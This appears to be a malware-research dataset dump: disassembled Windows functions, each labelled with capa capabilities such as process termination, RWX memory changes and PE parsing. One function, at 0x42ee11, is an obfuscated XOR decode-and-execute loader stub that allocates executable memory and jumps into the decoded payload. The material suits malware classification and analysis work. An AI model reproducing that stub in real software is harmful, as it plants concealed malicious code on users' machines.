joyce8/EMBER2024-capa huggingface dataset:
Function at 0x444fc0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x20], 0
je 0x444fdc
push 0x64
mov ecx, dword [ebp - 0x10]
call fcn.004122f0
mov ecx, dword [ebp - 0x10]
cmp dword [ecx + 0x5c], 0
je 0x4450eb
mov edx, dword [ebp - 0x10]
cmp dword [edx + 0x70], 0
je 0x445042
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x70]
push ecx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x445042
push 0
push 0
push 0x64
push 2
mov ecx, dword [ebp - 0x10]
call fcn.00445540
push 0x3e8
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x102
jne 0x445040
push 0
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x44506c
push 0
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x5c]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x102
jne 0x44506c
push 0
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 4], 0
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ecx, dword [ebp - 0x10]
cmp dword [ecx + 0x60], 0
je 0x44509a
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x10]
cmp dword [ecx + 0x5c], 0
je 0x4450b0
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x70], 0
push 0x10
push 0
mov edx, dword [ebp - 0x10]
add edx, 0x5c
push edx
call sub.MSVCR71.dll_memset
add esp, 0xc
movzx eax, byte [ebp + 8]
cmp eax, 1
jne 0x4450eb
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x6c]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx + 0x6c]
mov edx, dword [eax]
call dword [edx + 0xc]
mov al, 1
mov esp, ebp
pop ebp
ret 4
Function at 0x4618e0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
mov eax, dword [0x4921d0]
mov dword [ebp - 4], eax
push edi
mov dword [ebp - 0x90], ecx
mov ax, word [0x4836e8]
mov word [ebp - 0x88], ax
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x86]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x10
push 0
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCR71.dll_memset
add esp, 0xc
mov edx, dword [ebp + 0x14]
push edx
push 0x40
lea eax, [ebp - 0x88]
push eax
push 0x4836ec
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
movzx eax, word [ebp - 0x88]
test eax, eax
je 0x4619c0
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x8c], ecx
lea edx, [ebp - 0x8c]
push edx
mov ecx, dword [ebp - 0x90]
call fcn.00461830
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
lea edx, [ebp - 0x8c]
push edx
mov ecx, dword [ebp - 0x90]
call fcn.00461830
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], eax
lea edx, [ebp - 0x8c]
push edx
mov ecx, dword [ebp - 0x90]
call fcn.00461830
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], eax
lea edx, [ebp - 0x8c]
push edx
mov ecx, dword [ebp - 0x90]
call fcn.00461830
mov ecx, dword [ebp + 8]
mov dword [ecx + 0xc], eax
mov al, 1
jmp 0x4619c2
xor al, al
mov ecx, dword [ebp - 4]
call fcn.0046c78d
pop edi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4619e0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
mov eax, dword [0x4921d0]
mov dword [ebp - 4], eax
push edi
mov dword [ebp - 0x90], ecx
mov ax, word [0x4836f0]
mov word [ebp - 0x88], ax
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x86]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 8
push 0
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCR71.dll_memset
add esp, 0xc
mov edx, dword [ebp + 0x14]
push edx
push 0x40
lea eax, [ebp - 0x88]
push eax
push 0x4836f4
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
movzx eax, word [ebp - 0x88]
test eax, eax
je 0x461a90
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x8c], ecx
lea edx, [ebp - 0x8c]
push edx
mov ecx, dword [ebp - 0x90]
call fcn.00461830
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
lea edx, [ebp - 0x8c]
push edx
mov ecx, dword [ebp - 0x90]
call fcn.00461830
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], eax
mov al, 1
jmp 0x461a92
xor al, al
mov ecx, dword [ebp - 4]
call fcn.0046c78d
pop edi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x461ab0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
mov eax, dword [0x4921d0]
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x90], ecx
mov ax, word [0x4836f8]
mov word [ebp - 0x88], ax
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x86]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 4
push 0
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCR71.dll_memset
add esp, 0xc
mov edx, dword [ebp + 0x14]
push edx
push 0x40
lea eax, [ebp - 0x88]
push eax
push 0x4836fc
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
movzx eax, word [ebp - 0x88]
test eax, eax
je 0x461b80
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x8c], ecx
lea edx, [ebp - 0x8c]
push edx
mov ecx, dword [ebp - 0x90]
call fcn.00461830
movzx esi, al
lea eax, [ebp - 0x8c]
push eax
mov ecx, dword [ebp - 0x90]
call fcn.00461830
movzx ecx, al
shl ecx, 8
or esi, ecx
lea edx, [ebp - 0x8c]
push edx
mov ecx, dword [ebp - 0x90]
call fcn.00461830
movzx eax, al
shl eax, 0x10
or esi, eax
mov ecx, dword [ebp + 8]
mov dword [ecx], esi
mov al, 1
jmp 0x461b82
xor al, al
mov ecx, dword [ebp - 4]
call fcn.0046c78d
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x46c536
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x74
push 0x484870
call fcn.0046cb14
xor edi, edi
mov dword [ebp - 0x20], edi
push edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call ebx
cmp word [eax], 0x5a4d
jne 0x46c576
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x46c576
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x46c58e
cmp eax, 0x20b
je 0x46c57b
mov dword [ebp - 0x1c], edi
jmp 0x46c5a2
cmp dword [ecx + 0x84], 0xe
jbe 0x46c576
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x46c59c
cmp dword [ecx + 0x74], 0xe
jbe 0x46c576
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], edi
push 2
call dword [sym.imp.MSVCR71.dll___set_app_type]
pop ecx
or dword [0x499ad8], 0xffffffff
or dword [0x499adc], 0xffffffff
call dword [sym.imp.MSVCR71.dll___p__fmode]
mov ecx, dword [0x499a60]
mov dword [eax], ecx
call dword [sym.imp.MSVCR71.dll___p__commode]
mov ecx, dword [0x499a5c]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCR71.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x499ad4], eax
call fcn.0046cb6c
call fcn.0046cc0c
cmp dword [0x492200], edi
jne 0x46c602
push fcn.0046cc0c
call dword [sym.imp.MSVCR71.dll___setusermatherr]
pop ecx
call fcn.0046cbfa
push 0x492090
push 0x49208c
call sub.MSVCR71.dll__initterm
push 0x46cbb0
call fcn.0046c7d4
mov eax, dword [0x499a58]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x499a54]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.MSVCR71.dll___wgetmainargs]
add esp, 0x20
mov dword [ebp - 0x3c], eax
cmp eax, edi
jge 0x46c656
push 8
call sub.MSVCR71.dll__amsg_exit
pop ecx
push 0x492088
push section..data
call sub.MSVCR71.dll__initterm
pop ecx
pop ecx
mov eax, dword [sym.imp.MSVCR71.dll__wcmdln]
mov esi, dword [eax]
cmp esi, edi
jne 0x46c680
or dword [ebp - 4], 0xffffffff
mov eax, 0xff
jmp 0x46c73a
mov dword [ebp - 0x24], esi
mov ax, word [esi]
cmp ax, 0x20
ja 0x46c6ef
cmp ax, di
je 0x46c696
cmp dword [ebp - 0x20], edi
jne 0x46c6ef
mov ax, word [esi]
cmp ax, di
je 0x46c6ab
cmp ax, 0x20
ja 0x46c6ab
inc esi
inc esi
mov dword [ebp - 0x24], esi
jmp 0x46c696
mov dword [ebp - 0x58], edi
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
test byte [ebp - 0x58], 1
je 0x46c6c7
movzx eax, word [ebp - 0x54]
jmp 0x46c6ca
push 0xa
pop eax
push eax
push esi
push edi
push edi
call ebx
push eax
call fcn.0046cf64
mov esi, eax
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x1c], edi
jne 0x46c6e7
push esi
call dword [sym.imp.MSVCR71.dll_exit]
call dword [sym.imp.MSVCR71.dll__cexit]
jmp 0x46c734
cmp ax, 0x22
jne 0x46c700
xor eax, eax
cmp dword [ebp - 0x20], edi
sete al
mov dword [ebp - 0x20], eax
inc esi
inc esi
jmp 0x46c680
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.0046cb4f
ret
Function at 0x40aca0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xc8
mov eax, dword [0x43600c]
mov esi, ecx
xor eax, ebp
mov dword [esp + 0xc0], eax
mov dword [ecx], 0xffffffff
mov dword [ecx + 4], 0
mov eax, dword [0x436028]
cmp eax, 0xffffffff
je 0x40ace1
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
test al, 3
jne 0x40ace6
call fcn.0040a990
mov ecx, dword [0x436100]
mov edx, dword fs:[0x2c]
mov eax, dword [0x437114]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jle 0x40ad3f
push 0x437114
call fcn.0042ee11
add esp, 4
cmp dword [0x437114], 0xffffffff
jne 0x40ad3f
push 4
call sub.mozglue.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov ecx, eax
mov edi, eax
call fcn.00408c90
mov dword [0x437110], edi
push 0x437114
call fcn.0042ee11
add esp, 4
mov edi, dword [0x437110]
push edi
call dword [sym.imp.kernel32.dll_AcquireSRWLockExclusive]
mov eax, dword [0x43650c]
mov ecx, 0x100
inc eax
movzx edx, al
lea ebx, [edx + edx*2]
cmp dword [ebx*4 + 0x436510], 0
jne 0x40ade0
mov ecx, dword [ebp + 8]
lea eax, [ebx*4 + 0x436510]
mov dword [0x43650c], edx
mov dword [eax], 1
lea eax, [edx*4]
mov dword [eax + eax*2 + 0x436514], ecx
mov dword [esi], edx
mov eax, dword [eax + eax*2 + 0x436518]
mov dword [esi + 4], eax
push edi
call dword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov eax, dword [esi]
mov dword [esp + 8], 0xffffffff
cmp eax, 0xffffffff
mov dword [esp + 4], eax
je 0x40adea
mov eax, dword [esi]
mov dword [esp + 8], 0x100
cmp eax, 0xff
mov dword [esp + 4], eax
jg 0x40ae24
mov ecx, dword [esp + 0xc0]
xor ecx, ebp
call fcn.0042ee00
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 4
inc eax
dec ecx
jne 0x40ad57
jmp 0x40ad97
lea eax, [esp + 8]
lea ecx, [esp + 4]
push str.slot____kInvalidSlotValue
push eax
push ecx
call fcn.00402470
add esp, 0xc
test eax, eax
je 0x40adb1
lea edi, [esp + 8]
mov ecx, edi
push eax
push 0x196
push str._builds_worker_checkouts_gecko_security_sandbox_chromium_base_threading_thread_local_storage.cc
call fcn.00402280
mov ecx, edi
call fcn.004022e0
jmp 0x40adb1
lea eax, [esp + 8]
lea ecx, [esp + 4]
push str.slot____kThreadLocalStorageSize
push eax
push ecx
call fcn.00402470
add esp, 0xc
test eax, eax
je 0x40adc6
lea edi, [esp + 8]
mov ecx, edi
push eax
push 0x197
push str._builds_worker_checkouts_gecko_security_sandbox_chromium_base_threading_thread_local_storage.cc
call fcn.00402280
mov ecx, edi
call fcn.004022e0
jmp 0x40adc6
Function at 0x40c310
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x30
mov eax, dword [0x43600c]
xor eax, ebp
mov dword [esp + 0x2c], eax
mov ecx, dword [0x436100]
mov edx, dword fs:[0x2c]
mov eax, dword [0x437160]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x40c355
mov ecx, dword [esp + 0x2c]
xor ecx, ebp
call fcn.0042ee00
lea esp, [ebp - 8]
pop esi
pop edi
pop ebp
ret
push 0x437160
call fcn.0042ee11
add esp, 4
cmp dword [0x437160], 0xffffffff
jne 0x40c343
mov esi, esp
xorps xmm0, xmm0
movaps xmmword [esi + 0x10], xmm0
movaps xmmword [esi], xmm0
mov dword [esi + 0x20], 0
push esi
call dword [sym.imp.kernel32.dll_GetNativeSystemInfo]
mov ecx, 9
mov edi, 0x43713c
rep movsd dword es:[edi], dword [esi]
push 0x437160
call fcn.0042ee11
add esp, 4
jmp 0x40c343
Function at 0x42c9e0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x28
mov eax, dword [0x43600c]
xor eax, ebp
mov dword [ebp - 8], eax
mov ecx, dword [0x436100]
mov edx, dword fs:[0x2c]
mov eax, dword [0x437404]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jle 0x42ca43
push 0x437404
call fcn.0042ee11
add esp, 4
cmp dword [0x437404], 0xffffffff
jne 0x42ca43
lea esi, [ebp - 0x2c]
push esi
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [esi + 0x1c]
mov dword [0x437400], eax
push 0x437404
call fcn.0042ee11
add esp, 4
mov esi, dword [0x437400]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0042ee00
mov eax, esi
add esp, 0x28
pop esi
pop ebp
ret

Function at 0x42cfe0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x28
mov eax, dword [0x43600c]
xor eax, ebp
mov dword [ebp - 8], eax
mov ecx, dword [0x436100]
mov edx, dword fs:[0x2c]
mov eax, dword [0x437438]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x42d026
mov esi, dword [0x437434]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0042ee00
mov eax, esi
add esp, 0x28
pop esi
pop ebp
ret
push 0x437438
call fcn.0042ee11
add esp, 4
cmp dword [0x437438], 0xffffffff
jne 0x42d00e
lea esi, [ebp - 0x2c]
push esi
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [esi + 4]
mov dword [0x437434], eax
push 0x437438
call fcn.0042ee11
add esp, 4
jmp 0x42d00e
Function at 0x42d390
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x3c
mov eax, dword [0x43600c]
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
xor eax, ebp
mov dword [ebp - 0x10], eax
lea eax, [ecx + 0x10]
mov dword [ecx], edx
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 2
mov dword [ebp - 0x38], ecx
mov dword [ecx + 4], eax
mov eax, dword [0x436100]
mov ecx, dword fs:[0x2c]
mov edx, dword [0x437438]
mov eax, dword [ecx + eax*4]
cmp edx, dword [eax + 4]
jg 0x42d463
mov ecx, dword [0x437434]
lea eax, [ebx + edi - 1]
xor edx, edx
xor edi, edi
div ecx
mov esi, eax
mov eax, ebx
xor edx, edx
div ecx
sub esi, eax
inc esi
mov dword [ebp - 0x48], esi
je 0x42d44e
mov ebx, eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x44], ecx
imul ebx, ecx
add eax, 4
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x34]
push eax
push 0x40
push ecx
push ebx
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
je 0x42d4a1
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov eax, dword [ecx + 8]
cmp eax, dword [ecx + 0xc]
je 0x42d4b2
mov edx, ecx
mov ecx, dword [ecx + 4]
inc edi
mov dword [ecx + eax*8], esi
mov dword [ecx + eax*8 + 4], ebx
inc dword [edx + 8]
mov ecx, dword [ebp - 0x44]
add ebx, ecx
cmp edi, dword [ebp - 0x48]
jne 0x42d414
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042ee00
mov eax, dword [ebp - 0x38]
add esp, 0x3c
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x437438
call fcn.0042ee11
add esp, 4
cmp dword [0x437438], 0xffffffff
jne 0x42d3e3
lea esi, [ebp - 0x34]
push esi
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [esi + 4]
mov dword [0x437434], eax
push 0x437438
call fcn.0042ee11
add esp, 4
jmp 0x42d3e3
mov dword [ebp - 0x34], 0
mov ecx, dword [ebp - 0x38]
call fcn.0042d4d0
jmp 0x42d44e
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x3c], esi
call fcn.0042d5a0
test al, al
je 0x42d4a8
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x3c]
mov eax, dword [ecx + 8]
jmp 0x42d434
Function at 0x42d4d0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [0x43600c]
mov esi, ecx
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x436100]
mov edx, dword fs:[0x2c]
mov eax, dword [0x437438]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x42d550
mov eax, dword [esi + 8]
test eax, eax
jne 0x42d522
mov dword [esi + 8], 0
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042ee00
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
mov ebx, dword [esi + 4]
mov ecx, dword [0x437434]
lea edi, [ebx + eax*8]
mov dword [ebp - 0x38], ecx
lea eax, [ebp - 0x34]
push eax
push dword [ebx]
push dword [ebp - 0x38]
push dword [ebx + 4]
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
je 0x42d58a
add ebx, 8
cmp ebx, edi
je 0x42d509
jmp 0x42d531
push 0x437438
call fcn.0042ee11
add esp, 4
cmp dword [0x437438], 0xffffffff
jne 0x42d502
lea edi, [ebp - 0x34]
push edi
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [edi + 4]
mov dword [0x437434], eax
push 0x437438
call fcn.0042ee11
add esp, 4
jmp 0x42d502
mov dword [ebp - 0x34], 0
jmp 0x42d547

Function at 0x42d7b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 8
mov esi, ecx
mov ecx, dword [ecx + 0x34]
test ecx, ecx
je 0x42d836
mov eax, dword [ebp + 0xc]
and ecx, 0xfffffffc
mov edi, edx
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp + 8]
call fcn.0042b8d0
test al, al
je 0x42d836
mov dword [ebp - 0x10], ebx
push edi
push dword [esi + 0x34]
call dword [sym.imp.kernel32.dll_GetProcAddress]
test eax, eax
je 0x42d836
mov ecx, eax
mov edi, eax
call fcn.0042b8d0
test al, al
je 0x42d836
lea ecx, [esi + 0x18]
mov edx, edi
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call fcn.0042d840
add esp, 8
mov ecx, eax
mov al, 1
test cl, cl
jne 0x42d838
cmp byte [esi + 0x14], 0
jne 0x42d826
mov dword [esi + 0x14], 1
mov dword [esi + 0x10], 0
mov ecx, esi
mov edx, edi
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
jmp fcn.0042b940
xor eax, eax
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x42ee11
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x42ee20
pop dword [ebp - 0x30]
mov eax, 0xd6d2a052
sub eax, 0xd68fb232
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x37d62
push 0
mov eax, 0x3c2d08b8
sub eax, 0x3be9c544
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x873f655b
sub ecx, 0x873f1971
mov esi, eax
mov edx, 0xff3910e7
sub edx, 0xfef542e7
add edx, dword [ebp - 0x30]
mov edi, 0xdde882fe
add edi, 0x9870d25b
xor dword [ebp - 0x18], 0x8acab511
mov ebx, dword [edx]
add dword [ebp - 8], 0x1f22d919
xor ebx, edi
sub dword [ebp - 0x1c], ebx
mov dword [esi], ebx
add esi, 0xb7f0ad33
sub esi, 0xb7f0ad2f
add edx, 0x209caf09
sub edx, 0x209caf05
loop 0x42ee7f
add eax, 0x1227b
mov ebx, eax
add eax, 5
mov ecx, 0x2559b0da
add ecx, 0xdae64f26
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x10055336
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10055375
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10055375
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10055375
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10055375
cmp dword [ecx + 0x74], 0xe
jbe 0x10055375
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x100566b0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100566dd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100566dd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x10056a00
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10060620
push 0x10060618
push str.FlsAlloc
push 0x1f
call fcn.10056ce3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10056a34
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
jmp 0x10056a3a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10056a7e
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10060630
push 0x10060628
push str.FlsGetValue
push 0x21
call fcn.10056ce3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10056ab5
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10056abd
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10060638
push 0x10060630
push str.FlsSetValue
push 0x22
call fcn.10056ce3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10056af7
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x100599be
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10059a5b
push ebx
push esi
call fcn.10059a5e
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.100598c2
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10059a08
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10059a5a
push edi
push eax
call fcn.10059cbc
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10059a28
call fcn.10057fb0
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10059a59
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.100598c2
add esp, 0x20
test eax, eax
jne 0x10059a47
push edi
call fcn.10057fb0
jmp 0x10059a4f
push ebx
call fcn.10057fb0
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret